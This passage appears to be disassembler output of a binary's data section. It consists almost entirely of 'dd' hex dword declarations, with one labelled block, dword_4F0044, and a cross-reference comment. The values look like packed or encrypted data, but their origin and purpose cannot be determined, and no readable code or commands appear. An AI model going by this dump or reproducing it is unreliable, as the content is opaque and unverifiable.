3EEE6FFAh, 0E7F03EF9h dd 5729F362h, 2090C9DEh, 9C5F23E6h, 63E29DC4h, 2207D018h dd 0D2C6CBFEh, 243D32B1h, 0C31CCA58h, 104B13C9h, 77254CC0h dd 38BB265Bh, 4F8259Dh, 757D2D04h, 66C70228h, 442A1820h dd 466532E9h, 0A682CE65h, 8000EF41h, 15113C6h, 0E5C042B5h dd 6ECD8B08h, 45726D8h, 141337BFh, 450BB566h, 38021CE3h dd 58C22807h, 0C3E43580h, 0A5280D7Dh, 3509FFCBh, 10521374h dd 2C3ADB0h, 0F301731Fh, 0CC7F595Eh, 0A47CEF19h, 0F07E6548h dd 0FCB04918h, 2856380Fh, 44515AEBh, 0B732C62h, 685DB49Ah dd 0C75A5DA9h, 122118C4h, 0C0F5F737h, 3061F63Eh, 0ED0C3F13h dd 8950CB7Ch, 20549DEh, 0FA013B72h, 7DF48C0h, 10658D0h dd 2D4D1006h, 0DD060C69h, 4B308C58h, 5FA8010Eh, 0F7E931A4h dd 0C3C58E4Fh, 0E0DA0AAAh, 0ED309943h, 0D992ED4Ch, 7E0D18A2h dd 43AABA44h, 0E96ABF04h, 8C915A8Bh, 0A23B02C6h, 0D8BA9243h dd 0E84A5E84h, 764233FBh, 0A0EB15CBh, 42EF4B4Bh, 9C27D8Bh dd 0C402ECC7h, 8408306Ch, 580078BCh, 6866E586h, 0A30E452Dh dd 9A54F638h, 8C307701h, 0ECE4E530h, 0E80808D2h, 9F2C0E1Fh dd 4904F807h, 8FA0AFF9h, 2FF0B50h, 0C6B1E916h, 5802CC5Dh dd 9036C268h, 2E111F4Dh dd 1D38785Ah, 6DCD8AB6h, 17E024E4h, 0F8593442h, 48CB483Ah dd 442205F6h, 81824510h, 0CDECFF0Eh, 1CD0545Ah, 0BF013A50h dd 0EC6A1871h, 54CA728Bh, 4065E8EAh, 0F4685053h, 1CCD0D4Fh dd 1AE1CFCh, 61B9510Ah, 7F756D67h, 5AD2EFA5h, 8683BB7h dd 0E0658C4Eh, 7A4A1EE6h, 371230EDh, 0E9659118h, 75C22CA9h dd 19EF1232h, 2D9B58D5h, 0ADD4455Dh, 47026424h, 406E4970h dd 3E64BDC2h, 0E60223B7h, 630A2DF4h, 3EC08057h, 2D0F7B53h dd 4F89728Ah, 0B5028EC7h, 0F5FE88BEh, 0E9042FC5h, 66909FEDh dd 4BF1122Ch, 9D700943h, 0D1894140h, 54650CEEh, 99B85E26h dd 0E863E9F0h, 6CD786AAh, 4F32FA89h, 0CAFCD128h, 7E753FBAh dd 41481488h, 0AE612F4Ah, 81045D9Eh, 29C59F29h, 94CB0BC4h dd 593D583Bh, 4E773AD9h, 0C34BC3AEh, 37675D4Ch, 0D7F99997h dd 0CD273416h, 73C3D659h, 0B4687F92h, 0BD9886CFh, 1FCC6E20h dd 0E06B151h, 1173CF1h, 0F6D786D4h, 8FB781D2h, 0E682447h dd 6017826Dh, 228AFEFh, 7E29416Bh, 2BE9E23Ch, 0BD8FFE5h dd 947161E6h, 0AF8D5DC9h, 5FCA4106h, 0C6133F41h, 540C400h dd 58EDFC7Bh, 8A58F4CFh, 5911E093h, 61B82FE1h, 3CF75BE2h dd 95E916ECh, 0BD923044h, 0E6244F96h, 0D71C6422h, 0BA807D16h dd 15635069h, 0A3A8E999h, 0BEE8004h, 0D1848658h, 4F5C35A2h dd 0B4D9ED81h, 84ECB2CDh, 0EC9095A8h, 0E4034DFCh, 52935B6Bh dd 2249C1BAh, 0E55F688h, 8C2C661Fh, 0CD80C502h, 7314E0F6h dd 8840824Ah, 9832CCCh, 51B45074h, 0A6A280DFh, 9F4C066Ah dd 964DDA16h, 4A5124D3h, 891F8F10h, 0C39256F0h, 0DC11418Ah dd 0CF0E0102h, 9C8C880Fh, 0B5DE43h, 0C766BF30h, 13A94BD2h dd 0EE700294h, 0E8D7926Dh, 0B463663Ah, 6816749Eh, 11C903E9h dd 0E22505E0h, 78609748h, 7124D6F0h, 933B9242h, 0D741DDEEh dd 0C3015FF8h, 680EB826h, 0BF132D7Ah, 8E292E8Ah, 277727A1h dd 0E7C45EBBh, 0B45F8EACh, 422706A9h, 2406F49Ah, 88F8192Bh dd 0B35F30EEh, 1656D4Ch, 54446117h, 0F12869E9h, 8098258h dd 7610C831h, 0BB95DCB9h, 43C2D96Ah, 7FB3403Bh, 0C10D3A6Fh dd 7C7B81A3h, 7ABE5713h, 2F09D714h, 5BA805Ch, 0A0816E5h dd 2DF8010Ah, 5A053E07h, 0FE48170Ch, 60DACD0Bh, 16852A1h dd 627C0B1Bh, 38EAC15Ah, 5FE25CDh, 0CE0F4A59h, 0DC3B69EFh dd 0EBD51727h, 0B8FCA213h, 9E0DEE50h, 18A461B0h, 6005C57Ch dd 2B48D1B7h, 0A2282D9Eh, 0F9899807h, 1D84C91Ah, 0C8AB1319h dd 8DB8D705h, 9BCC909Dh, 0A2BD80E0h, 6BBB7914h, 58805BD9h dd 0B4B16859h, 0B51C2518h, 1E2FB2BEh, 0D301049Ch, 0AF4937E9h dd 382FE52Dh, 37A8FE07h, 0A01605BAh, 8EE0B210h, 4C7F38E9h dd 7437EE4Bh, 6415AAB2h, 63740F34h, 906B2154h, 0E701277Ah dd 57E00DDCh, 493B8F0Fh, 160447BEh, 848A1409h, 5EC0D988h dd 3E1755EBh, 8B5E295Ah, 384A58A8h, 27D40680h, 1EE3FFE9h dd 0ADF6CC88h, 0CBEEDA58h, 3CC2F198h, 57515B66h, 43BC144h dd 5157B08Ah, 1D66F781h, 67319C2Dh, 0D894CA85h, 4597565Eh dd 0EC55C915h, 0C3E91339h, 68B43236h, 77A3B698h, 0B85080h dd 5C4B2330h, 0C7097605h, 8EACD95Bh, 0BC89871h, 64115EB5h dd 7C0A1A87h, 0E9124D36h, 0B1C9E5F5h, 76904889h, 0FDCFE0Bh dd 7F920B92h, 2FD07695h, 50E53FD9h, 0D588DCBAh, 0C5E9AF63h dd 0C110FA94h, 0F231FD4Eh, 0F05F0802h, 93D99D25h, 0EE6762h dd 6D4CC325h, 0F8482D24h, 0F256227h, 0D345AEC7h, 3B46A26h dd 0E7602D04h, 0C5EA032Bh, 7C5480A7h, 258E940h, 0D58385CDh dd 0DC2FDDF9h, 1FABA9D8h, 20B1D183h, 82222ECAh, 0AF31CB06h dd 0B558F8E9h, 5469044Ch, 5ADED6B6h, 8733C3DDh, 1C5610Eh dd 4F60D5F6h, 7310C134h, 94EB6EE9h, 8D4DE8h, 70271725h dd 63298D0Fh, 0C06D45E8h, 44FB6B4Bh, 0BC4BCFF8h, 5D218B60h dd 5D542EABh, 7E691D20h, 272EDC89h, 5725A0DCh, 68FA8716h dd 7814082h, 59560D45h, 0FDFEC141h, 45146BF6h, 0B5EC045Bh dd 0AAC74275h, 4E1DF2F3h, 5A3CBF1Ah, 0FC465A63h, 4A22A6DDh dd 9212B954h, 0A3C78905h, 57253BCAh, 0F00AE5Eh, 7EBF2D06h dd 5885056Bh, 1F9EC5E9h, 7B774517h, 0DD2BC97Dh, 56C504B3h dd 0AB0174F1h, 0CE1180A7h, 21FE043Fh, 82815696h, 0A265AC98h dd 0E6887514h, 8612407h, 31124049h, 8CBB20Ch, 8D352F7h dd 0C6C98101h, 202B5760h, 35D6E5BAh, 8A13FEh, 4104F1FCh dd 0F94C3136h, 0E30B1E0Ah, 0CC0CABECh, 0AC2D1B9h, 1CBE11DBh dd 3C75A5ECh, 0FB524F33h, 0B85C5878h, 6524FDAAh, 62815A3Bh dd 93F068D0h, 0ACA6AE1h, 2954F82Dh, 0BE67A158h, 3CF8510Fh dd 0DC2C69FBh, 1875DA90h, 82E0D774h, 0BAEC75h, 6542BB53h dd 0F4B07F8h, 1B788012h, 433EDADh, 0AEC508D0h, 64D2ED31h dd 0DABE84C3h, 22E1A15h, 430275D7h, 93D7B896h, 33AA09B4h dd 38841C5Dh, 2EEDF1DBh, 565E5204h, 6EDA29EAh, 0F5B3A7F0h dd 3EE478Bh, 18885480h, 315A758Ah, 0BA125BA0h, 0BFC9F99h dd 0B7A5FA72h, 5B62A222h, 1C685301h, 18425BCh, 8433FFFBh dd 5AB1B8ACh, 7BD46CB8h, 42C4C220h, 50096333h, 427AF7DCh dd 25805C2Eh, 9D2648F8h, 4F407010h, 4C278F1Eh, 292D244Ah dd 55A0CD64h, 0BF9A33D2h, 0E53BFD77h, 3CBFDA2Fh, 0DF40E761h dd 2CE60081h, 0F4D5A2Ah, 0CE526A87h, 250077D7h, 0F789DD20h dd 985A4F5Eh, 0A2312566h, 62A0EFE4h, 0D7DF6696h, 0CF08DDEh dd 2F6B44BEh, 9C5C2AC1h, 60136F17h, 4C6BC1B6h, 26BE73D8h dd 320C0F1Fh, 0C28152h, 22AE4B7Ah, 0DDB5F089h, 0FF4604BEh dd 0F50CC103h, 72EC17FBh, 18E0C6C6h, 1EB87699h, 0D25F0767h dd 0BB5CE0A4h, 8453440Fh, 7888493Ah, 913FA08Eh, 0BE5680C9h dd 6B4D920Bh, 12A3D80Bh, 0B03DE55h, 8CC9838Eh, 88EE506Dh dd 0E5921ADAh, 0A943C327h, 0DC94007Eh, 0FA302837h, 91B34F1Ah dd 0C2C54019h, 41ED5975h, 7314DA68h, 0B7530BDCh, 8BC6750Ch dd 0C480C80Fh, 0A9B3C7DBh, 0FEB8E360h, 7EEBF6CBh, 0CFF305DFh dd 805BDC08h, 0B05057A9h, 0C4E91409h, 8C4555AEh, 605D5109h dd 303D1D10h, 0BB0C5CDBh, 195B8D2Ah, 804F6E5h, 141F0484h dd 27B067AFh, 0E913B994h, 42B70928h, 13E7AE40h, 0FC71C847h dd 939E24ECh, 5536FF9Ah, 0FE7E8D09h, 9EFA5A13h, 11E90A5Eh dd 77BBBF1Dh, 47A720ECh, 365C4712h, 0FBAF1AFBh, 0BD87D437h dd 0AE10451Ah, 0C49A6340h, 0D18B7582h, 0A460A0D1h, 65E9A07h dd 0D6F79640h, 0D04C0846h, 17C63F3Dh, 1BFA359Bh, 3AB01603h dd 0EE2EFDB3h, 87010229h, 55B268CEh, 0EC2ECF4Dh, 6F67C408h dd 9FBDBAFh, 10B7A2E9h, 2F49635Dh, 587E3F80h, 0D7CA890Bh dd 0FE9F5216h, 4DEF09FEh, 52E7DBA2h, 45539F60h, 5EF213C2h dd 95A9E431h, 34B7A71h, 27AA3112h, 55F1E39Dh, 0B02593BEh dd 0C51209F3h, 37CBAFE4h, 0A769681Ch, 3C49A018h, 597D8313h dd 0E9024AE3h, 206055DDh, 74B1DC82h, 0CED0FB54h, 0C9D39AD1h dd 0CD503DA6h, 0AF3D169Bh, 0BA2F8030h, 2F1B253Dh, 8EF03172h dd 7550BB04h, 0BFC069FCh, 7F8B9C1Ah, 0A409B57Ch, 0D9C822FDh dd 0C18BD75Bh, 75CF6A5Fh, 0A37B04C2h, 55B255A7h, 0DD527AF6h dd 0B159406Ch, 0A6AD4AA6h, 953080B4h, 27288B0Ah, 95888DF7h dd 80B254E9h, 0ED98D9F6h, 60354E5Dh, 0E00BCECCh, 44E9177Dh dd 0AFA05341h, 8C0CAC53h dd 9EA8F56h, 5A6D96C0h, 407FC078h, 0BEE3F726h, 38CF580h dd 180F0D33h, 9FDAF185h, 0A94178E9h, 4B2E8FF0h, 20E689C2h dd 3717EDC6h, 0AFA1712Bh, 4B1D8000h, 1791460h, 84182DDh dd 94531354h, 28E9D37Ch, 2040F25Fh, 2AF63DECh, 0BA078BB2h dd 7AA0452Fh, 0F64909F2h, 4066880Ch, 810F4802h, 17EF58ABh dd 3230F168h, 0D7D08BBDh, 789DF4B5h, 548DCE9h, 0B668C22Fh dd 81CDFD64h, 7A147C25h, 92DEECD7h, 0D1B1DD2h, 0F9878588h dd 0B834C547h, 0EA8750E3h, 5F3EA17Bh, 0EDCB13F4h, 13949FBCh dd 80607207h, 856CE212h, 730C37CDh, 41A3C574h, 0A2B56086h dd 42171662h, 0BF5700ECh, 0F6130D2Dh, 9DE43151h, 5A0125E9h dd 89BFEBC7h, 44010B35h, 5AB79833h, 5E244F1h, 0C2280073h dd 0BBE4EA80h, 0E2B70B8Dh, 0AFB1E405h, 45129B8Fh, 0D6CBFBF9h dd 0E5C15C0Fh, 8EDC95Ch, 4CEAE701h, 0F39B4394h, 28CC0FF0h dd 0CBD0CC1h, 0F47B39A1h, 0B260E4FDh, 748AB848h, 3546012Bh dd 604561AAh, 10B02250h, 81016E53h, 7B13BCCBh, 1EF63069h dd 33F46C05h, 9D87B5E9h, 8C1E660Ah, 5B31488h, 0FEBFF480h dd 28DCB490h, 0AF584BE3h, 150D7E02h, 0E5477501h, 0CCB50B2Ah dd 6D569DECh, 2659B75Ch, 552CDC62h, 15E3B25h, 4732E6A4h dd 8504604Ch, 89EE525Ch, 6F1FE9Fh, 7A8170BBh, 5E85D8B7h dd 0A1F7145Ch, 0BD22CA12h, 0F4E22080h, 707D04F1h, 0C7413E09h dd 0E6F5E5DAh, 0D2D9376h, 0C14D6542h, 2F62C6h, 11F37A30h dd 0D92D8B0Fh, 0DF37492Ah, 0F84C38D8h, 92317C84h, 70D7584Ah dd 0BB0B1C20h, 854443BDh, 0D8BBDAD5h, 3480EC01h, 0D138C1BDh dd 0A5DFF7EFh, 0CB8FF540h, 0EAEE2C21h, 87D07BCFh, 2823F2C5h dd 9D872E8Bh, 56D2BADCh, 1162B3FEh, 0B7C2B33Ah, 0F2803A3Bh dd 0B7B96851h, 4BC5A71h, 53923796h, 6FA24B81h, 7B66F76Fh dd 0EE96BF7Fh, 0E0A104EBh, 0D4E70B12h, 5E05AF54h, 30D97668h dd 179EC8DBh, 335DF6A1h, 0A3D2D5F7h, 26E9130Bh, 0ADD856F3h dd 0FE94A6E0h, 0C500CD72h, 537CB050h, 5BE961B3h, 0BBC800C4h dd 4BC02CAFh, 0F4D98F4h, 24C9481Bh, 58A63385h, 0D03AFD02h dd 1DD2Ah, 8862B368h, 16A0D3B9h, 943AC5Ah, 0D70149B0h dd 829B4616h, 5E4A9F20h, 79E6DEB4h, 48DCB539h, 0AB1B3658h dd 3B72B7EFh, 0F2D57C80h, 538CEA76h, 0EED86B4Fh, 71889A69h dd 0C6B038B6h, 0B85AF017h, 3DE87FA6h, 0BA1622B2h, 60FAA76Fh dd 32CD8183h, 52B31901h, 2905800Fh, 0B0085BEh, 0E9037F25h dd 0CBB2ADD9h, 0DD87DE5Fh, 113DAF4h, 0E86566DFh, 58806E73h dd 0F42A8FE2h, 4BFAB03Fh, 4B2DB6B2h, 0FB1AE7E8h, 25550E65h dd 8FEF5CFEh, 36CB4FD4h, 0BE3FEB13h, 0EDD9FB69h, 0C596BD32h dd 0F48AEF47h, 9C25EE97h, 17C4C475h, 0C2F6A6ABh, 0D6456568h dd 0C7556216h, 6AF68209h, 0E070E1E6h, 9A693829h, 0FAA28477h dd 7A090113h, 6ADA9FC2h, 5C814016h, 506539E9h, 1CA8FC78h dd 7A195C9Dh, 5192C1D3h, 0C7BE5A65h, 3494F047h, 11441F6h dd 2F072DC8h, 57EC2459h, 40140FF6h, 5AC19DF9h, 2F7EE568h dd 25AFE430h, 0F431A201h, 0A55F13C1h, 980932A1h, 704B680Dh dd 45F49732h, 538FE961h, 9225B26Bh, 0C8E3B0Ah, 0E78851A1h dd 1C662664h, 0F5702F75h, 7C0696EBh, 0B84BFA05h, 57C66BA2h dd 5F4BD95Dh, 0DD90D6FCh, 0E6DEAC4Ah, 237926BBh, 0BB30CC9Ah dd 7FB8375Dh, 0C844D31Fh, 850ADDE4h, 0E581EDE6h, 68B852F9h dd 951A83ECh, 7A829D29h, 5E0505A9h, 0F129D961h, 0D47282FBh dd 142C5042h, 68FA109Fh, 0F6175E35h, 386C5656h, 3B283168h dd 51B08B63h, 8E3CDAE6h, 0B34E207Ch, 0C259950Bh, 0E2F16B12h dd 45150F2h, 701303BFh, 935FC77Eh, 0E9A88FEDh, 7A9E2F38h dd 9720CABDh, 3B700893h, 0D9482915h, 65720841h, 5580E092h dd 0B59093D3h, 94C5835Dh, 71BC00FBh, 0BF570AE1h, 0C222DC0Bh dd 361CD547h, 59280502h, 7EE9C177h, 14822515h, 53575758h dd 440DCDA5h, 36C2EFCAh, 5D6AC946h, 5BE6CF3Ah, 794204AFh dd 7D5E0BD6h, 0DE8E0D9Ch, 0A1B1317Bh, 8D20DE4Ah, 5C5C3E94h dd 8F20EC5Ch, 9A332090h, 5E345D15h, 0D2BBBD8Bh, 0BEEAE906h dd 79C70D51h, 2A1EB480h, 60E5B06h, 0BD3E3043h, 455AD5BFh dd 7EDC114h, 0BCAA05E1h, 0A980B4B7h, 17C9440Fh, 1BFD875Dh dd 0A8050859h, 48D5102Eh, 363B2F80h, 0F05D51BDh, 66A642BFh dd 0EC651674h, 37748B7h, 3BEF0346h, 808EAE9h, 0F0FE3ADDh dd 668042Bh, 0B2CF017Fh, 0D2E89E23h, 79E7122Dh, 5C4B850Fh dd 4A8B81CDh, 0FF1AA5DCh, 462D07B8h, 42EE015Bh, 73A4685Fh dd 94D53A57h, 75534BFCh, 0F5D603A9h, 0FD8C381Eh, 0F6810D92h dd 707115F1h, 6DF6B928h, 0E15ADF98h, 4F2D7AD0h, 29582F4Ch dd 0E9D578C0h, 8EB2192Ch, 5DB673C2h, 580967EEh, 5569DB68h dd 4D55C198h, 4AE95480h, 0BE0117CEh, 32E42D44h, 956041AAh dd 7B314322h, 0EF97A387h, 0D9712B0h, 0E00BD56h, 144E4BF7h dd 599FC1B7h, 0E657407Ah, 0AE8B0F8Dh, 7ED0374Bh, 0CF78842h dd 0D78E95Ah, 5F4A5B28h, 29278B8h, 51E2C19h, 0ACF17C61h dd 0AB1FEBA5h, 27674C4Ch, 3EBE09F2h, 0E55F0508h, 9509A32Ch dd 68C20A5Eh, 6CD93C91h, 239B85BCh, 0E60128F0h, 2F7120F3h dd 2FDA89CCh, 0C9C2D3E9h, 0E8F80A6Eh, 0A7010625h, 499E5515h dd 27B7E416h, 1DD27E68h, 24C72F5Dh, 0D0BBA5Eh, 72B47508h dd 71B8E916h, 483D2BAAh, 906204AFh, 6CACD1AAh, 8296552Dh dd 1DB9511Fh, 0F46C8C89h, 0BD72278Dh, 368DF707h, 9DC28FAAh dd 910564A4h, 0AEF781DAh, 8225F424h, 3541216Eh, 58866168h dd 2591E86Bh, 76DEABD0h, 8CF1681h, 0B20FFF5Fh, 0C2456B1Ch dd 0A0475582h, 3DBC74B0h, 0BF2B4A47h, 50082910h, 0E9F0B1Ch dd 0AFBDA6EDh, 61130F4Bh, 48E60D72h, 0C307AFEDh, 1BB32B19h dd 6AA08BB4h, 2B545B52h, 0FBC110D9h, 6426413Bh, 0FA6DAFF3h dd 0C0B25285h, 3EAC4FC4h, 0BE777C72h, 0E5C64385h, 0D02082BFh dd 8976E7E2h, 2917AEA4h, 8B75B2EDh, 59F644B2h, 84B12763h dd 954FA6FAh, 0DC9E4B44h, 27207358h, 6B8851BDh, 514B40FAh dd 51E69F0h, 0CF68272Eh, 40ACD91Fh, 305F0E28h, 0B1DD3CFDh dd 4278235Ch, 0EF6F97C1h, 4EB12F33h, 372CE33Eh, 77D23540h dd 2FDA75FAh, 2F141801h, 9025B949h, 0BD2F92D5h, 0E7BD0704h dd 80BB7A1Ah, 0D616B998h, 31DB057h, 6D427980h, 458DDF7h dd 845040Bh dword_4F0044 dd 0E9C27BA3h, 9CB20015h, 0ED5AF280h, 0E67685E8h, 0F8CAF28Fh ; DATA XREF: ___:00437A64o dd 84A25AE9h, 0F877AA90h, 0A53CD1D0h, 0A26B9072h, 0F70809C2h dd 1F9C3966h, 7F076884h, 4B47CBAFh, 2EE90488h, 89E30936h dd 0D51659CFh, 8D7EA297h, 0A4C47DE4h, 5C403BB0h, 27F97F88h dd 567333DCh, 8A38F7EBh, 6882DB82h, 4B895BB3h, 0A98997D1h dd 0F02FADCh, 0A0E69483h, 343BE381h, 0E97A0CC2h, 803ED9F6h dd 1BA4C74Bh, 363E6395h, 0C6E038B0h, 0F1E72839h, 861F2F4Fh dd 0E0C0AE00h, 3F632C03h, 0D7244C34h, 14058215h, 2CC09FFFh dd 3F1231C2h, 0BC091FFCh, 33599187h, 803E5BCDh, 38357FD2h dd 0CD5101F6h, 590803FDh, 6D181E70h, 4A0C6C7Eh, 44D02534h dd 8310C05Ch, 0FDAB494Eh, 53BF25E0h, 43E44613h, 8D8016FBh dd 1EF16D74h, 0F5F19BE9h, 5AE176F3h, 0BA01E647h, 0FB4745D8h dd 24296A3h, 0FC7FE14h, 0A7F75585h, 2AE95BC0h, 222F088Fh dd 0C79515F0h, 6535BF55h, 2C88EA1Dh, 88C226B1h, 19D80BA7h dd 6886C2C5h, 20416E88h, 58971058h, 0CAD2958Dh, 0CE9578B0h dd 80AAC9E9h, 0F6013B72h, 93F3DD7Bh, 1732E7E9h, 24822127h dd 145FF439h, 3E199711h, 4C6CB4E9h, 5C05E9A3h, 0F30D9E68h dd 65DB16A5h, 4FA82EBBh, 0E9EF70BAh, 5CB29C5Ch, 4330FF2Fh dd 923EE80Fh, 0F13ECA1Dh, 0F3EC2D07h, 3FAEE92Ch, 44EE0893h dd 0BA65C676h, 0D3A955D1h, 2524B804h, 0C85D923h, 0C38F7C30h dd 0CE6BD40Ch, 2F890C64h, 0C01CE721h, 248F2B20h, 41D5866h dd 0FFB22C0Fh, 79276C1Dh, 66816FD1h, 0A6D589E9h, 0D018A186h dd 40F58891h, 0E634C184h, 0D9000703h, 22EB2BD7h, 6EF92768h dd 28486318h, 7417F325h, 4AE90B0Ch, 681830F8h, 0CFA55A1Dh dd 1D5B9D89h, 547530ADh, 89B915Eh, 8101EA16h, 65AE93EBh dd 2ED1FA41h, 6D04598Ah, 1F724041h, 20A13467h, 0A5127BE1h dd 609688E0h, 5EC14FD7h, 325C5F21h, 0F14F4A2Dh, 49588529h dd 0DE62C381h, 28C88C3Fh, 2AEB1E84h, 0E92E026Dh, 6602E5F2h dd 0A751D55Ah, 1AFA278Dh, 0DDC81E6Fh, 0C3E96417h, 6084502Ch dd 0FAFA3152h, 905CB274h, 8B0F1680h, 0D07AE0B6h, 0B910E062h dd 53560C72h, 56D0E141h, 60C809BEh, 0C1752944h, 3638200Fh dd 34B40503h, 0A7A96D0Ah, 0C6E0CA10h, 0C182CB22h, 187B9240h dd 47E8361Fh, 0EC2A5881h, 17DC1CF5h, 0FC385D25h, 0DCBA91E9h dd 7721BF02h, 854F47E3h, 37BC628Bh, 3F32E84h, 0F1157435h dd 0C8884014h, 0D01933Ah, 70F652EAh, 604187ECh, 0C1B2F69h dd 0E9182030h, 315B3ECh, 6E5B2F1Eh, 0C8DC4290h, 5A51FFB6h dd 0F601C43Fh, 9B004AA9h, 807359BBh, 1CE92F39h, 0D689FE5Ch dd 7592C611h, 5BD83EFBh, 3173CB97h, 0F8BA5231h, 8EB08836h dd 7C4A2CA2h, 2FDB7955h, 23BA1068h, 2D786A13h, 865B10E8h dd 55098283h, 0FC4DBF4Fh, 2CAE281Bh, 5AA4E04h, 0FBC2E4E9h dd 0EA20809Dh, 0F2778286h, 9D0D5ED9h, 0FE54222h, 2D7066DDh dd 0ADFCE7F9h, 9AFBC765h, 0F8FC5B9Dh, 0CC117512h, 234D0CEFh dd 0FCC102D6h, 7D29A5C4h, 0AF382632h, 86198E9h, 34F5CB63h dd 0BF207FCDh, 36C29F60h, 0B58898F7h, 75D42C71h, 276D0D7Ah dd 58043F6Ah, 0D6AD222Eh, 3160B07h, 5B866F74h, 9F98A1DCh dd 140640B5h, 0E6808034h, 38B1784Ch, 5AF40F9Bh, 25053688h dd 8FFF6567h, 55F90545h, 0EE81500Eh, 7DD94E87h, 80B506Ah dd 47BE14Fh, 55C3D085h, 325C2A15h, 0A9B20B21h, 9318213h dd 890F01ADh, 7BA16CE2h, 6520AF25h, 0C48A8B1Eh, 3C8DC3C0h dd 0EE815881h, 0BC01354h, 60F82E29h, 128405E2h, 4F0EB759h dd 0C6131D34h, 0DDD4A5A1h, 6FC4BFD3h, 0D1BA660Eh, 0ABC09374h dd 9DAACAE9h, 0C4B4620h, 8B971AEBh, 62BA507Dh, 5659673Dh dd 26B2DB65h, 8E382CBh, 73ED5CFEh, 548EF1h, 254A015Ah dd 6AD05938h, 6682CE0Fh, 736A6FF2h, 4950C0F6h, 4BCCB103h dd 0E9615EFCh, 0F12D0FBEh, 72C9AEA4h, 56041904h, 290318FDh dd 0F59481EAh, 0E60C82FEh, 5E45FF10h, 0B74E8967h, 1927C667h dd 447A5BA2h, 0B325C5B9h, 6093113Fh, 0AC711A13h, 2949DE62h dd 0C2579B06h, 0A2427D9Ah, 4FFA51DDh, 896ED4E5h, 68690045h dd 0C59D0F38h, 0B0E90949h, 0D3D76B42h, 0A3E34C37h, 4E54B540h dd 26966958h, 15AB10B3h, 76B0BD02h, 60404907h, 0EC2E46FFh dd 0D17274Eh, 0E88865AAh, 931D10E3h, 0F3DE5D2Dh, 829A652Fh dd 7BB168DAh, 8780EE59h, 0C120750Dh, 2F0558E8h, 76350B60h dd 1F50A4AFh, 33B024F3h, 0E9816701h, 1D3AC190h, 0C23D6069h dd 539406F2h, 0E584AB7h, 0D5AF6AB5h, 0E25B6744h, 8FE12FC9h dd 4130E4B8h, 4A6B5EDEh, 5520A0B0h, 0B1B9505Ch, 886295D9h dd 3CF674CAh, 7FCB0FC2h, 0B4F6F7EEh, 4F2426F9h, 26C30187h dd 0F42316C7h, 2E26C9FEh, 68500B30h, 4B381606h, 0EA03FA14h dd 0FA122F1Fh, 65387DC3h, 0A4327CE5h, 0D4EBDA7Ah, 44556BBEh dd 176E3757h, 0F7D1D7E8h, 0C1D8046Ch, 2A09AB8h, 0B864775Ch dd 0A0CB4A20h, 1573AC94h, 0AE296A1Ch, 48610841h, 0A877D42Bh dd 0F1E9164Fh, 7D541DC2h, 0E9615CD1h, 8C2E5521h, 4C400CF6h dd 9FDE91BDh, 0F47B0AEBh, 58C6828Dh, 7FD4F009h, 6A02D5C8h dd 623A9576h, 0F29E9071h, 0F793809Ch, 4097D073h, 2031E7Bh dd 79840F3Ch, 0D5A30128h, 91D468A1h, 0D1400337h, 5FD041E0h dd 80216F13h, 0ED6B5D54h, 39E9C719h, 823F269Dh, 0B25766A4h dd 0B5FE99A8h, 5CDE822Eh, 4807F9DFh, 70C42007h, 2DE97A6h dd 0C9311AEDh, 0B20E532Ah, 3D27C4F3h, 2B685301h, 7EAA2371h dd 8C20B5Fh, 0DD8B6A5Ah, 0AE8B7579h, 0C14D2075h, 3EF706E1h dd 253A56D9h, 0E3DE23E9h, 0BEE27EACh, 0AD4E119h, 297EC540h dd 0E88D5FDFh, 21BC4B8Fh, 0CC80829Dh, 355C08Ch, 4DF20E0h dd 4A5BDA9Dh, 7003C1F7h, 0CE6D880Fh, 0E7C000CAh, 6DC78008h dd 3A60D3F6h, 2B25BB16h, 5C514848h, 7454B215h, 1FEC680Bh dd 81D56C9Ah, 2B7E673Ah, 0C411EC3Fh, 90D057F7h, 0B8EB73AFh dd 0AD1020B6h, 0E501F49Ch, 7B0877B4h, 0CD02247Dh, 4CFC0243h dd 46C09F81h, 0F53061BDh, 0D5226B4Fh, 219D825Ah, 89020B22h dd 0B1DD9F8Fh, 317F5436h, 587F4B2h, 0E45905FEh, 68614751h dd 0EBFE2BA8h, 485E064h, 5A8A9DD8h, 281B22Ah, 0BB619FEBh dd 2B0C6072h, 67642C1Bh, 0BC5C126Eh, 1442C411h, 4AC18003h dd 0B7D3CB83h, 0F7812501h, 0AD3AEDFFh, 7212067Fh, 0B9076405h dd 3E2B7F12h, 0FE1BEAA7h, 1A884AAFh, 0EAF48B95h, 4A8A6850h dd 0BF3A312Bh, 410BABCh, 0A7ED7A7Eh, 13F720FBh, 114EDA31h dd 8736BB9h, 306271A9h, 0EE0B4312h, 925D401h, 96F6111Bh dd 1D49F488h, 0B48CC545h, 0C349AE4Eh, 722DDE55h, 5C2D1280h dd 0CE9413E8h, 4178E020h, 4B19D49Fh, 0A6BAAFF7h, 0BF70967Eh dd 6887BA79h, 5D0B3663h, 0D6259C47h, 484B5346h, 0DBB56A07h dd 0E8289CE0h, 2BF4E92Ch, 6F5D94EDh, 3D3F7D82h, 227857h dd 0C5478742h, 895FFB31h, 13DF79B7h, 3012E16Dh, 94F0E87Ch dd 0AC41EE4Eh, 59032210h, 16C0D670h, 0D443B36h, 20A3EE65h dd 89300DB7h, 0E2720C7Ah, 17BA4C56h, 0A32DE958h, 492953h dd 831EDC8Ch, 9E3F80Ah, 2C7F3E76h, 0FEBCC07Dh, 0C766BD4Ah dd 5911B265h, 12218BEBh, 0C909D9BDh, 0BC6ADF74h, 972442C2h dd 8ACCBF5Ah, 0F1E14B68h, 27E22AEDh, 5118B0D3h, 0CB85D49Fh dd 0D875EB77h, 90B19EEh dd 0F3891F58h, 754BD379h, 0E366278Bh, 63900790h, 7427D050h dd 3BEDF40h, 0AF67FFEh, 85E1F301h, 65403A46h, 78C00B17h dd 59C40BB9h, 97FF4BDh, 1A5AF8DBh, 2C98268Dh, 82CCC25Dh dd 7AECDC65h, 0D8BE0B63h, 0A07F3286h, 7964F545h, 0E97112D9h dd 0DD5556FDh, 2B3EF50Ah, 0D131AE05h, 0ED0BE8E6h, 0DC812B66h dd 7A50CD01h, 416E75A1h, 7FBBF187h, 0B2EFECBAh, 84BB96B6h dd 93F472Eh, 26141CBFh, 0BEAC92C8h, 0B551AF30h, 50B612DAh dd 0B43E1730h, 34A7364h, 2D809CF3h, 7CC0685Bh, 808DF0BDh dd 9F75E907h, 13FDE58Fh, 0D1D6155h, 6A8D6A02h, 0C2ECAD6Bh dd 7DFDBBE9h, 2002A0E9h, 8B16607Bh, 2AC4B7F1h, 5E05CFFEh dd 0EFD9595Ch, 166BFB2Ah, 0E948917Dh, 